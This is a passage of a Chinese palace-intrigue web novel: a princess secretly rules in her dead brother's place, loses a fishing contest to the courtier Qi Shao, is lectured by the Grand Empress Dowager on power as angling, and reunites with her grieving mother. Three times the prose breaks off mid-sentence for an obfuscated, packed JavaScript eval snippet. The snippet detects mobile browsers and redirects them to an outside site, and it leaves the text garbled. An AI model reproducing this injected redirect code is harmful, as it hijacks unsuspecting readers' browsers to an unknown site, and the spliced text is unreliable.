时人书法多效法前朝王右军,以自然流畅、形意生动为美。萧樗偏偏反其道而行之,书法险峻而靡丽。起笔纤巧,行至中段却陡然绷紧,似一把拉满的弓弧;末梢回钩时又猝然开裂,绽出一两道极细的岔枝。竖笔纤细得近乎透明,往往在收势时向左侧斜斜一挑,勾出一道金钩。 萧樗平日写字喜欢用洒金笺,再在云烟墨中掺上金粉,临写出来的字帖,如同镂金刻缕,华艳非常。若在日光下看时,觉金光烁烁,有金鸾引颈之妍态,若在烛光下看时,又觉冷光寂寂,见冷月钩沉之清骨。 金陵书法名家见之,盛赞不已,以“金钩细”称之。萧樗虽因时常生病的缘故,甚少出门见人,然其所写字帖风靡京中,但凡达官贵人、雅士骚客莫不以能得其墨宝为荣。 看着这幅字帖,萧含光忽想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279684|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那日在药师庵齐宝珠所言。 “阿樗前日见了皇妹抄的《金刚经》,还夸皇妹字写得极好呢,说自己就算再练一百年,也写不得像皇妹一样的好字……” …… 当日她听到这番话时,心中并没有太多感想,以为她的哥哥果真只是夸她的字写的好。现在她知道了,也许在哥哥心中,并非如她所想,全无一点兄妹之情。 宋海晏曾在她面前夸赞自己的妹妹,语气极骄傲,她能听出他对妹妹的想念。那样的夸赞是一种出于血缘的偏爱与羁绊,是自然的情感流露,并非因为自己的妹妹天下间谁都比不上。 皇太孙萧樗的书法已臻于大家之境,仍在太孙妃面前夸赞妹妹的字,言辞之中未必没有同样的想念与羁绊。 只是那时她不懂,后来再也没有机会去懂。 她的哥哥已经死了,现在她成了她的哥哥。 她从书案上取了一张洒金笺,开始临写这首乐府诗。 生年不满百,常怀千岁忧。 她想,她的哥哥贵为皇子王孙,却也寿数不永,长怀忧愁。人生在世,谁能长乐而无忧?不过痴妄罢了。 这时,她听到了殿外传来了一阵琴声,那声音清越处如远山松涛,清微而淡远;幽咽处又似冰泉寒流,低涩而绵长。 萧含光长于寺庙,不识音律,偏在此时此刻从那琴声中听出了人世无常、无所依傍的幽恨滋味。人人皆生于这一方阎浮世界,又被分隔于各自的小世界。偶有殊遇,遽又分别。自承悲喜,各不相通。 不知那弹琴者谁,又为何在此刻,奏出这般别恨呢? 她心中一动,唤道:“白女史。” 白令瑶旋即来到她面前,行礼道:“陛下,有何吩咐?” 萧含光问道:“是何人在弹琴?” “是齐韶齐公子。”白令瑶补充道:“他从前是东宫詹事,也是太皇太后的侄孙。太皇太后信任他,常邀他议事,命他在离此不远的清曜殿居住。他经常弹琴自娱,陛下第一次听到吗?” 萧含光仔细回想一番,之前似乎也曾听到琴声,只是如风声过耳,印象并不深刻。不像这次,那琴声清透幽远,穿透风雪,穿透层层宫殿与回廊,宛转落于她的耳中。 “齐韶?”萧含光念了一下这个名字,恍惚记起曾从齐宝珠的口中听到过她这位族兄的名字,那时,她还曾有意将他许给自己做驸马。 说起来那不过是旧年春天的事,如今忆起,却似乎已经恍如隔世了。 她抬起头,走到窗边,看向不远处的殿宇。 这是元宁初年的元日。雪霁初晴,宫廷的琉璃瓦上覆着一层薄薄的素雪,映着天光,泛起淡淡的青白色。天际处,几缕流云如轻纱般缓缓游移,透出微蓝的底色,恍若瓷釉上晕开的淡彩,宁静而深远。偶尔有风掠过,卷起几片细碎的雪沫,在光线中闪烁如星,旋即又归于沉寂。 她听到弹琴人自弹且唱,那琴歌穿过宫檐时,连风声都为之一停。 “虽有好音,谁与清歌?虽有姝颜,谁与发华? 仰讯高云,俯托轻波。乘流远遁,抱恨山阿。” 20. 第二章 俯钓长流 第二日上午,萧含光正在临帖,白令瑶传报消息,太皇太后请她觐见。 萧含光心中惴惴不安。 黄门郎在前引路,御辇绕过鳞次栉比的宫殿,一路向北而行。穿过一道朱漆拱门,眼前豁然开朗。这是一处皇家园林,雪后初霁,日光透过稀疏的云层洒落,将园中的景致镀上一层淡金色的光晕。园中梅林如画,枝头积雪未消,却已有点点红梅破雪而出。 行过梅林,便见一大湖。湖面光洁如镜,雪与天俱白,一片空明。 御辇在湖边停下,萧含光听到湖心亭中传来一阵琴声,与昨日她在正光殿听到的琴声似乎出自同一人之手,只是不同于昨日的沉郁,今日的琴声空灵澄净,似雪后空山,唯见乾坤之杳渺、天地之明澈。 她向湖心亭中看去,见亭中已经铺上厚厚的菱花纹锦毡,设下座席,太皇太后坐于东侧,南侧设一琴案,一位身着素服的青年公子正端坐抚琴。 萧含光心怀疑窦,太皇太后要教导她为君之道,为何不选在御书房或者椒房殿,而选在这种地方。白令瑶见她犹豫,催促道:“陛下,太皇太后正在等您,莫要耽搁。” 萧含光缓步走下御辇,步履虽稳,心中却如擂鼓。她走到湖心亭前,在太皇太后面前跪下,双手交叠,恭敬行礼:“孙儿参见太皇太后。” 琴声一停。 太皇太后淡淡瞥了她一眼,“皇帝起来吧。” 萧含光起身,立在一旁。 南侧琴案旁的青年公子也起身,面朝她下拜行礼,道:“臣齐韶参见陛下。”他的声音清冽,带着一丝冷寂之感。 萧含光颔首,按照白令瑶教过的礼仪,回道:“爱卿平身。” 当他抬头时,萧含光与这位太皇太后的近臣打了一个照面。 齐韶身姿挺拔如松,清雅出尘,眉峰似黛,眼若寒星,眸光清澈却深不见底。两人目光相接时,他眼中恪谨之意略散去了些,浮现出一抹浅到几近于无的笑容,既不显得疏离,也不显得接近,恰到好处地维持着一种介于温和冷之间的距离感。 太皇太后的目光移来:“皇帝既然到了,那便开始吧——” 萧含光正一头雾水之时,内侍们已围了上来,撤去琴案,将两个小杌子放在亭边临水处,又取来两根钓鱼竿、两只木桶和一些钓鱼用的饵料。 一切准备齐当,太皇太后再次开口:“陛下昨日不是说想见太后吗?哀家想了想,决定给你一个机会。今日陛下可以与齐大人比赛钓鱼,到午时前,如果陛下钓的鱼更多,哀家便允许陛下探视你的母亲……” “啊——”萧含光傻眼了,她万没有想到今日竟是来钓鱼的。 她当然想早点见到母亲,以免母亲悬望担心。但她之前没有离开过药师庵,自然没有钓过鱼,后来进入皇宫待嫁,也没有机会钓鱼。她既不会钓鱼,又如何取胜,只好如实奏道:“太皇太后,孙儿不会钓鱼。” “既然是比赛,自然公平为上。哀家问过了,齐大人从前也没有钓过鱼。冯大用——” 太皇太后唤了一声,一名老黄门从亭外奔入,跪于太皇太后身前:“小人在。”太皇太后道:“你就将其中关窍,向他们二人演示一遍。” 冯大用道:“是,请陛下和齐大人跟着小人来这边。” 齐韶起身,到太皇太后面前跪下,奏道:“太皇太后既言公平为上,臣斗胆,如果臣侥幸赢了陛下,也想向太后讨个小小彩头。” 太皇太后微微挑眉,目光中带着一丝探究,淡淡道:“哦?齐爱卿想要什么彩头?” 齐韶道:“臣想暂时保密,待臣获胜之后再禀报太皇太后。” 太皇太后果然很是信任齐韶,并不追问,露出一抹温和的笑意来:“齐爱卿既然开口,哀家当然应允。” 齐韶再拜谢道:“臣谢太皇太后隆恩。” 冯大用拿着钓竿到湖边,将如何上饵、如何甩钩、如何根据浮漂判定鱼是否咬钩、如何拉杆向萧含光、齐韶二人演示了一遍。之后,冯大用又单独走到萧含光身前,低声谄媚道:“陛下,太皇太后最喜欢钓鱼。一年三百六十天,倒有三分之一的时间在这里钓鱼,太皇太后说这钓鱼的道理和治国的道理一样,就四个字——用乎一心,陛下只要用心,自然不难钓到大鱼……” 萧含光哑然。 用乎一心——难道这就是太皇太后要教导的治国之道? 做事固然需要用心,天下事若是用心即可就可做好,这世上就不会有难事了。 那边齐韶显然学得极快,萧含光还在琢磨冯大用的讲解时,他已娴熟地甩出钓竿。不多时,浮漂微动,他手腕一抖,一条三寸左右的鲤鱼便被拉出水面,稳稳落入木桶中。 萧含光未免着急起来,既是比赛,她怎肯落后于人?更何况,这关乎她能否见到母亲。 湖面如镜,倒映着天光云影。萧含光学着冯大用的样子,将饵料挂在鱼钩上,笨拙地甩出钓线。浮漂在水面上轻轻晃动,她的心也随之起伏不定。 不一会,鱼漂轻轻晃动,萧含光见鱼咬钩,迫不及待提竿而起,鱼线忽地向下一沉,拉出水面时,鱼钩上已经空空如也,萧含光怔愣在原地。 一旁的冯大用大为焦急,道:“陛下,您太心急了,鱼还未咬稳钩哩!” 又比划道:“陛下,就算鱼上了钩,也不能这般急着拉。这一用蛮力,鱼就跑了。这得欲擒故纵,掂量着轻重缓急,等它咬深了,不肯松口了,再快准狠地拉上来。” 萧含光再次甩出鱼钩。这一次,她强迫自己静下心来,目光紧紧盯着浮漂,感受着鱼线传来的细微颤动。终于,浮漂猛地一沉,她屏住呼吸,手腕轻轻一提,一条青鱼跃出水面,鱼尾拍打着水花,溅湿了她的袖口。 她小心翼翼地将鱼放入桶中,鱼尾拍打着水面,溅起几滴水花。她低头看着桶中游动的青鱼,心中涌起一丝满足感。 冯大用拍手笑道:“嘿,陛下钓上来了——”他偷眼瞥了瞥太皇太后,见她正闭目养神,便压低声音对一旁的小太监们呵斥道:“你们杵着干什么呢?还不快将从前陛下喜欢吃的榛子糕取来,这钓鱼可是体力活,陛下坐了这么久,肯定都饿了……” 萧含光微微一怔,她并没有吃过什么榛子糕,怎么谈得上喜欢。但她很快反应过来,冯大用应该是将她当成从小长于宫廷的皇太孙萧樗了,所以在她面前献媚。太皇太后命他教二人钓鱼,他巴巴地围在萧含光身前,见她钓上鱼格外欢喜,那模样就像是他自己钓着鱼了一样。 小太监们很快奉上榛子糕,萧含光吃了一块,果然香甜可口。她心中暗自思忖:冯大用将自己当成萧樗,可见即使是太皇太后的心腹,也并非人人都知道这“李代桃僵”之事。这也十分合理,这等机要之事,当然是知道的人越少越好。 她不由得瞥向一旁的齐韶。他依旧正襟危坐,目光专注地盯着湖面,仿佛对周遭的一切都漠不关心。她想,这位太皇太后身边的近臣,知道她的真实身份吗? 日影渐高,在冯大用的指点之下,萧含光又钓得了三条鲫鱼、一条鲤鱼。只是那条鲤鱼入桶之后,鱼漂便不再有动静。反观一旁的齐韶,却是收获不断,不一会,桶中已有了各种鱼十余条。 她忍不住侧目望去,见他神色专注,目光一直注视水面,未有丝毫偏移。他的每一次甩杆都精准优雅,收杆时手腕轻抖,鱼线在空中划出一道优美的弧线,动作从容不迫,仿佛这钓鱼不仅是一场游戏,更是一种修行。 她心中恼恨起来,这个齐韶,竟如此不知进退!他难道不知道, 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冯大用道:“太皇太后,这钓鱼怎么能用多少来论定输赢呢?若是一人钓了十条小鱼,另外一个人钓了一条大鱼,可这条大鱼比十条小鱼加起来还要重。要是得小鱼者胜,得大鱼者反而输了,这当然不公平。” 太皇太后瞥了一眼萧含光的木桶,含笑道:“你这奴才,倒是颇知道上下尊卑。但你说的也有几分道理,这样吧,就按你说的,到午正之刻,将两边的鱼称重,重量多者胜出。” 她向齐韶道:“齐爱卿可有意见?” 齐韶道:“臣并无异议。” 萧含光不知冯大用是何用意,论数量她比不过,论重量也是一样比不过。 谁知冯大用兴冲冲地走了过来,不知从何处找来一只寸长的大鱼钩来,又团了拳头大小的鱼饵挂在钩上,笑眯眯道:“陛下,老奴时常陪伴太后在这湖中钓鱼,知道这湖中有一条二尺来长的大青鱼,陛下若是能钓上它,一条就能抵上一桶了——” 萧含光这时也别无它法,只得死马当活马医了。便照冯大用的指点,将身体前倾,将鱼钩尽量甩远些,以冀望吸引到那条大鱼。她也知道,眼下是自己反败为胜的唯一机会,便平心静气,打起了十二分的小心。 不一会,果然感觉水下鱼竿猛地向下一沉,冯大用大喜,拍手叫道:“来了,大鱼咬钩了——” 他话音未落,萧含光脚下一滑,差点跌入水中。这鱼咬钩极深,此时挣扎起来,一股巨力将她往水中扯,鱼竿差点脱手而去。好在她知道此时松手,功亏一篑,只咬紧牙关,苦苦坚持,冯大用见状,也上前来帮忙,帮她稳住鱼竿前端,一点一点往岸上拉。 鱼竿绷得极紧,几乎弯成半圆形,发出吱嘎的声响。眼看大鱼就要出水,萧含光的手腕已酸麻不堪,却仍死死握住鱼竿。忽然,只听‘崩’的一声,鱼竿竟断成两截,大青鱼拖着渔线和半截鱼竿,迅速没入湖心。 这时,日影已升到最高之处,女史白令瑶走到湖边,检视两边木桶,道:“午正之刻已到,齐大人胜出。” 冯大用大失所望,连连跺脚,唉声叹气道:“哎呀,就差一点点,陛下就赢了!真是可惜,可惜啊!” 他走到齐韶身边,小声埋怨道:“齐大人,您怎么可以赢陛下呢,就不知让一让吗?您又不是不知道,陛下身体不好,力气不足,您可是占了老大便宜了……” 齐韶摇头,意味深长道:“两国交兵,敌强我弱,敌方胜券在握,会主动退兵吗?” 冯大用不以为然,嘟囔道:“不过钓鱼而已,齐大人怎么扯起两国交兵的事来了……” 齐韶不再言语。 萧含光跌坐在岸边,发出一声苦笑,看来她今天想要见到母后的愿望是泡汤了。 一旁,小太监高声唱道:“太皇太后命起驾,回椒房殿——” 21. 第三章 其钓维何 御辇在椒房殿门口停住。 在白令瑶的导引下,她再次进入太皇太后居住的宫殿。 国丧之期已过,椒房殿的白幔白障并未拆除,铜灯台上烛光摇曳,将幽暗的回廊映照得忽明忽暗。殿中弥漫着一股冷香,那是沉水香的气息,地面铺着厚重的织锦地毯,花纹繁复,踩上去无声无息,即使在白日,这座宫殿也给人以幽深之感。 当太皇太后在上首凤座坐下时,她在湖心亭所表现出的慈和彻底消失,重新成为萧含光熟悉的那位威严、冷酷、执掌一切的老妇人。 萧含光不自觉打了个冷战,寒意从脚底直窜上来。她跪伏于地,额头触地:“太皇太后。” 一道严峻的声音从高处落下:“陛下可知,哀家今日为何让你和齐韶比试钓鱼?” 太皇太后没有让她起身,萧含光也不敢挪动身体,答道:“太皇太后想通过钓鱼一事来教导孙儿,做任何事都要用乎一心,钓鱼如此,治国……也是如此……” 她声音微微颤抖,这“用乎一心”的说辞是来自冯大用的提点。她虽觉得这其中道理无法类比,但冯大用是太后身边的人,这话也是太皇太后自己说过的。就算答错了,太皇太后也不至于自唾其面,说她答得不妥。 “呵——”上首传来一声冷笑:“陛下长进了,学会了用哀家身边的人,还学会了曲意讨好……这一个月果然进步神速……” 萧含光惴惴不安,不知太皇太后是喜是怒,又听得上首之人威严的声音:“萧樗,你抬起头来,看着我的眼睛——” 萧含光不得已跪直身体,抬起头,看向太皇太后的眼睛——那双眼睛苍老、威严、深邃,一点也不浑浊,她能窥见其中炽盛的光芒,那是上位者的睿智与野心。 她看着那双眼睛,听太皇太后一字一句、声量十足地道:“萧樗,你听好了,权力是一种操纵的技艺——” “男人执掌权力,将之视为一种武器。使用权力,就是拿刀杀人,谁若不服,就用刀斩下他的头颅,直到服从为止。你的祖父一生征战,灭国杀人无数。然而他戎马四十年,北魏的鲜卑人,仍然占有我中原一半的国土。我齐明霜作为一个女人,和他有不同的看法。我认为,使用权力是一门技艺,这门技艺和琴艺、书法,并无不同。我平素喜欢钓鱼,所以将之与钓鱼类比——” 她不再自称“哀家”,而是直接以“我”自称。她抬起头,手指青天,“这片苍天之下,九野之土,浩如沧海,黎民百姓,俱为泥沙,我大楚的利益,便是这浊水中的鱼虾。一国之君执掌权力,便如使用鱼竿从沧海之中捕鱼,你能得到多少,全凭你如何掌握这门技艺。” “若要得鱼,第一在用饵,第二在忍与等,第三在操竿的技艺。权术之道,也是同样。你觉得如何?” 萧含光只觉一片茫然,她初入宫廷,在白令瑶的教导之下通晓一些常识。太皇太后的话她每句都能懂,却全然无法理解,更不知太皇太后说这番话的用意为何,自然也答不上话,只好以头触地:“太皇太后,孙儿……听不懂……” 太皇太后微微倾身,语气冷冽:“钓鱼之道,用饵第一。想要得鱼,就需用饵。人人心中皆有欲得之物,这便是‘饵’。就比如你,想要见到你的母亲,所以你不得不放弃婚约,跪在我的面前,听从我的使唤与号令。你的母亲是‘鱼饵’,你是水中之鱼,我是岸上持竿之人,从此执掌你的生死。你若想脱钩而去,就得放弃你的母亲,你懂了吗?” 太皇太后的视线落在萧含光的身上,那目光并不比之前森寒,语气也并不比之前酷烈,然这般直白的比喻仍然让她背上生汗,萧含光声音艰涩:“孙儿……明白了……” 太皇太后又道:“再比如庐江宋家,之所以胆敢向帝室求娶公主,正是仗着他们家坐镇淮南二百余年,历经数朝而不衰。而淮南为我大楚朝廷最重要的战略要地,是抵抗北魏的第一道屏障,他们以此为‘饵’,求娶公主,即使我萧氏贵为天子,也不得不妥协。” 她低叹了一声,“如今公主虽死,但对于朝廷而言,如此重要的‘饵’掌控在宋家手中,始终是个隐患。今日,他们可以用之来求娶公主;明日,他们也可以用之来换取更多、更大的筹码。” 太皇太后瞥了一眼萧含光愈加苍白的脸色和几乎跪立不住的身体,眼中闪过一丝冷意,随即终止了这个话题。 她缓缓起身,走到窗前,背对着萧含光,声音低沉而有力:“我们再说第二条。钓鱼之道,在忍与等。拉勾起竿,唯有时机精准,游鱼才不会脱钩而去。四十八年前,你的祖父第一次因缺少军粮到江左齐家求援,我在花园中见到他的第一眼,便知他会是改变天下之人,也是我通往至高权力的钥匙。我说服我的父亲,将我嫁给他,又给了他齐家所能给予的一切支持,就是为了今日。我从一个草莽武人的妻子,成为皇后;再熬到他死去,成为太皇太后,执掌整个大楚朝廷。这一切的要义,就在‘等’与‘忍’二字,在成功之前,一切都需要忍耐。” 萧含光无言以对,心中却如惊涛骇浪般翻涌不已。如果太皇太后在四十八年前嫁给萧胥时,就已计划着等他死后自己掌权,中间甚至熬死了所有的儿子和孙子,再挟持唯一的孙女为傀儡,这份心志与忍耐,确实无人能及。 太皇太后说到这里,有些口干,命宫人奉上茶水,接着道:“第三条也是最重要的一条。权力是一种适度的艺术,钓鱼也需凭借自身的实力,如果力气不足,便只能以小饵钓小鱼。若是贪心不足,意图以大饵钓大鱼,要么被鱼拖入水中,要么鱼竿折断,徒劳无功。这般教训,皇帝今日已经见识过了。” 萧含光恭顺道:“是。” 太皇太后道:“当然,这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279686|182500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道理,皇帝一时半刻也想不明白。只需牢牢记在心里,以后仔细琢磨就是了。” 她说完这些,略显疲态,身子微微向后靠去,闭目养神片刻。她毕竟是花甲之龄的老人了,上午在湖心亭中坐了一上午,这会又说了半天的话,已然怠倦。她呼吸渐渐平稳,凤座之上响起轻微的鼾声。 白令瑶走到萧含光身边,将她扶起,道:“陛下,太皇太后该午休了。您今日也乏了,奴婢先送您正光殿休息吧。” 萧含光跪了偌久,双腿发麻,只能在白令瑶的扶持之下勉力站起。 太皇太后忽又睁开眼睛,似乎想起什么,道:“对了,齐韶呢?” 白令瑶道:“回禀太皇太后,齐大人仍在外殿等候。” 太皇太后道:“你请他进来。” “是。” 白令瑶出门之后,齐韶步入内殿,跪下行礼。 太皇太后打了一个哈欠,倦声道:“齐韶,你今日赢了比赛,哀家既承诺应你一件事,也不会食言而肥。你现在说吧,你想要什么?如今东宫已殁,你那东宫詹事的虚职也无须再领了。哀家也不是小气的人,朝中职位,三公以下,所有空缺的职位,卿可随意择之……” 萧含光心中也生了好奇之心,齐韶今日比赛这般卖力,他想从太皇太后这里得到什么?真如太皇太后所言,是为了求得高位吗? 齐韶神色从容,摇了摇头,道:“臣为太后臂膀,即使不求,太皇太后也会给臣安排一个合适的职司,臣今日求的是另外一件事。” 太皇太后闻言,睡意消散,眼中闪过一丝兴味,问道:“哦?是什么事?” 齐韶的目光朝她看来,轻声道:“母子天伦,是为天下至情。微臣斗胆,恳请明日带陛下去面见太后娘娘,求太皇太后允准。” 太皇太后眼中掠过一道寒芒:“齐韶,哀家素来信重你,你应也是知道轻重的。” 齐韶前额触地,再次拜道:“微臣愿以性命担保,绝不敢有误太皇太后的大事。若太皇太后不放心,可派人随行监视。” 太皇太后神情稍缓,语气也柔和了几分:“哀家信任你,这些就不必了。但宫门落钥之前,需得回来。” 齐韶再次叩首,声音恭敬而从容:“是,臣谢太皇太后隆恩。” 直到返回正光殿,萧含光也没有想清楚今日椒房殿的那番言论用意何在。从她成为萧樗开始,她就摆正了自己的位置——一具太皇太后手中的提线傀儡,以在深宫中保全自身和母亲。 太皇太后派出楚秋筠和白令瑶,她可以理解,是为了让她更好地扮演自己的角色。然而,今天太皇太后说的那番话,似乎无益于她成为一具更好的傀儡。 权力是一门操纵的技艺。 太皇太后说这些,难道真的打算让她执掌权力,成为大楚真正意义上的国君? 22. 第四章 母子天伦 次日。 楚秋筠知道她今日要出宫,特地寻了一套从前皇太孙穿过的常服,服侍她穿上。萧含光上身着白底金线麒麟祥云纹长袍,外罩白狐裘,再以玉带束腰,腰下悬一块白玉双鱼佩,足踏锦帛承云靴,再将一头浓密乌发束起,笼于玉冠之中。一眼看去,俨然一清贵俊逸、丰姿灵秀的王孙公子,不显半分女气。 楚秋筠打量再三,仍不太满意,又让她坐在妆台之前,用青黛将一双细眉加粗了些,又用妆粉在下颚线处略加修饰,使线条更加流畅分明,方才道:“成了,就算是太后娘娘,只怕也一眼看不出来哩。” 用过早膳之后,白令瑶入内禀道:“陛下,齐大人已在殿外等候。” 萧含光步出正光殿,见殿外停了一辆马车,皂漆轮毂,上加青油幢,外饰青帷,朱丝绳络,点缀珠玉,华丽非常。齐韶依旧是一身素服,立于马车之旁。 见她出来,他微微躬身,道:“陛下,臣奉太皇太后之命,特来护送您前往太后娘娘的居所。” 萧含光颔首,淡声道:“有劳齐爱卿。” 她上了马车,靠左边坐下,齐韶走到车辕旁,对车夫低声说了几句话,也上了马车,坐在她的对面。马车辘轳而动,车轮碾过青石板路,发出轻微的声响,向宫门外驶去。 萧含光眯上眼睛假寐——她从未与陌生男子同乘马车出行,何况对方是太皇太后身边的人。她对他心存感激,但也不免戒备。既然不知该说些什么话,就干脆不说话。 齐韶显然也没有要和她说话的意思,自顾自拿出一本书开始看。他看起书来极专注,眼睛盯着书页眨都不眨,连马车颠簸都丝毫未觉。萧含光用眼角的余光,瞥了一眼书封,上面写着《六韬》两字。她心中起了疑虑,《六韬》是一本兵家之书,主要是写行军打仗的事。宋海晏身为将门之子,读这本书很正常,齐韶作为文表风流的世家公子,也会读这种书,还看得这般入神,就有些奇怪了。 她不免又想起宋海晏来。那日在栖凤殿,宋海晏吐血昏迷,陆思明急匆匆将他带回驿馆医治,萧含光当时派御医随行,但随后她被太皇太后派人带到正光殿,便再也无法得知宋海晏的消息。不知他伤势如何,是否已经醒来,又是否会相信她已经死了…… 马车驶过人群熙攘的金陵街道,又出了城门,一路向北行去,转向一条薄雪覆盖的山道。萧含光向车窗外看去,正值严冬,山道两旁树木早已落去黄叶,唯余斑驳嶙峋的枝桠,在白雪映照下更显瘦骨支离。偶尔寒风掠过,残枝不堪积雪,发出咯吱的断裂声。不知这是何处,母亲又为何被安排住在这远离宫苑的山中。 齐韶的目光依旧落在书页之上,似乎丝毫未注意窗外的变化。萧含光心中忽闪过一道念头——楚秋筠今日给她穿了一身白衣,如果她此刻从车窗翻出去,借着白雪的遮掩,是否能就此逃脱,从此得到她可望不可求的自由…… 这样的念头稍纵即逝。 她想到了昨日太皇太后的话语,“你若想脱钩而去,就得放弃你的母亲,你懂了吗?” 又想到了齐韶昨日在太皇太后面前的保证,“微臣愿以性命担保,绝不敢有误太皇太后的大事……” 她又想起去年春天的药师庵,她和宋海晏私奔,不仅未曾走脱,还害得宋海晏差点身死。如今,齐韶以性命担保,带她出来,她无论如何不能再害死另外一个人—— 马车行到半山腰,终于停了下来。车夫禀报道:“齐大人,行宫已经到了。” 齐韶放下手中书册,自己先下了马车,又搭手扶着她从马车下来。萧含光放眼望去,只见一座华美精巧的宫殿掩映在山林之中,飞檐翘角,琉璃瓦在阳光下泛着淡淡的光泽。宫殿四周松柏环绕,白雪覆盖,显得格外幽静。 萧含光问道:“这是什么地方?” 齐韶答道:“这里是城北鸡笼山的皇家行宫,太后娘娘便是居住在此。陛下请随我来——” 萧含光跟在齐韶身后,来到行宫门口,只见大门处有两行披甲执槊的武士镇守,目光冷峻,神情肃穆。为首将官见有人靠近,眉头微皱,露出戒备的神色。 齐韶从腰间拿出一块令牌,双手奉上,语气恭敬道:“在下齐韶,奉太皇太后的命令,带陛下前来面见太后娘娘。” 那吴将军见到令牌,神色放松下来,示意诸武士让开大路,跪于道旁,行面君之礼。之后,齐韶对着那吴将军低声耳语了几句,他便带着两名武士匆匆离去。 齐韶则转向萧含光:“陛下,请在此稍候片刻。” 萧含光满心狐疑,但也知道自己没什么说话的余地,只好先在原地等着。 不久之后,三人去而复返,对齐韶道:“可以了。” 齐韶点了点头,道:“多谢吴将军。”他又对萧含光:“陛下,太后娘娘正在等您,我们进去吧。” 两人行过一条长廊,便到了一处宫苑,牌匾上书“香云殿”三个大字。牌匾下方十几名太监宫女聚集在牌匾下方,远远见到萧含光,一起跪下,三呼万岁。 齐韶在殿前停下,道:“陛下,太后娘娘就在香云殿中,陛下可以自行进入与娘娘相见,不会有人打扰。微臣就在此处相侯。” 萧含光有几分明白了,齐韶大约是觉得她和母亲有体己话要说,她身份隐秘,不便让这些宫人知晓,大概是让吴将军先行清场。所以这些宫女太监不在宫内伺候,而是聚在这里。 她抬步走过白玉雕砌的台阶,向殿内走去。 苏太后已然得了消息,萧含光走到殿门前时,她便匆匆迎出,照面第一眼,眼泪已盈盈坠下眼眶,她踉跄几步,声音颤抖:“阿樗——” 萧含光身体直直定住。 母亲唤她“阿樗”,分明尚不知道儿子已经死了,活下来的是她的女儿。她顶替了哥哥的身份,此刻却不知道该以儿子的身份还是女儿的身份与母亲会面。 苏太后许久不曾见自己的儿子,絮絮叨叨问道:“阿樗,那天宫中发生什么事了?你妹妹的婚事怎么好生生地就取消了?她如今怎样了,嫁入宋家了吗?母亲这一辈子唯一的愿望就是希望你妹妹能够离开药师庵,嫁个好人家……你如今当了皇帝,可要多为你妹妹考虑,千万别耽误了她……” 萧含光愣住了。 看来那晚之后母亲就被软禁在此,至今不知后来发生了什么,她还以为自己的一双儿女都好好活着。 她更不知该如何开口了。 苏太后又看了她几眼,道:“阿樗,你气色倒是比从前好了。母亲早叮嘱过你,你身体不好,就该好生养着,别整日在后宫诨闹。从前是母亲害了你,总想着你妹妹已经及笄了,继续待在庵堂,难免误了她的终身,想要早点抱上孙子,好去陛下那里求情。这一年来母亲也想过了,万般都是命,半点不由人,命里无时,那是求不得的……好在你皇妹已经离开药师庵,这子嗣的事情你就先不用急……” 萧含光登时如五雷轰顶,猛一个激灵。她从未想过他的哥哥耽于声色,沉迷后宫,竟然会是这样的原因。两行眼泪不由自主从颊边流下,她闭上眼,想止住泪水,可心中酸涩一起涌上,又如何止得住,竟至号啕泣下…… 苏太后微微一惊,道:“阿樗,你哭什么?莫非你妹妹出了事?”她又多看了萧含光几眼,终于意识到了不对劲的地方:“不对,你不是阿樗……你是长乐……你是长乐……我的阿樗呢……我的阿樗呢……” 萧含光喉头哽塞,不能作答。 其实又何须作答? 在看到女扮男装的女儿时,真相已显而易见,苏太后突然明白了婚礼前一晚发生了什么。 她跌坐在地上,目光茫茫然,就像她的灵魂已经死去,徒留下一具空洞的身体,她眼眶含泪,反复问道:“长乐,我的阿樗呢……” 萧含光终于哽咽出声:“母后,哥哥……哥哥已经死了……” 她抱住母亲颤抖的身体,想要安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很多时候,人都是为了牵挂才坚持下去的。 萧含光从香云殿走出,齐韶正在牌匾下方等她。当看到大楚国君明显哭过的眼睛时,素来神情寡淡的青年公子不自觉地皱了一下眉。 他似乎想说些什么,但终究什么也没说,只躬身问道:“陛下,我们可以回宫了吗?” “嗯。”萧含光抬起头,第一次向齐韶投去感激的神色,低声道:“齐爱卿,多谢你。” 齐韶已恢复惯常的淡然神色,轻声道:“陛下不必言谢。陛下是大楚的国君,齐韶是大楚的臣子,为君王分忧,是臣下的本分。” 萧含光心中苦笑,为君王分忧吗?他或许是位良臣,只是她这位国君,不过是个名不副实的傀儡罢了。如今太皇太后大权在握,他身为太皇太后信任的宠臣,大可不必帮她。她给不了他任何回报,还让他因帮助自己差点招致太皇太后的反感。 她又道:“无论如何,我对你心怀感激。如果我将来有能力,必会回报这番恩情。” 这一次,她没有按照白令瑶的教导自称为“朕”。此时此刻,她并不需要这一层虚伪。 齐韶低头道:“陛下,微臣并不需要您的回报。只要您将来掌握国政,多做对大楚有益之事,微臣于愿已足。” “掌握国政?”萧含光自嘲一笑,道:“齐大人,你高看我了,我不过是太皇太后掌中的提线木偶。” 齐韶轻轻摇头:“陛下,您太妄自菲薄了,而且太皇太后也并不是您想的那样……” 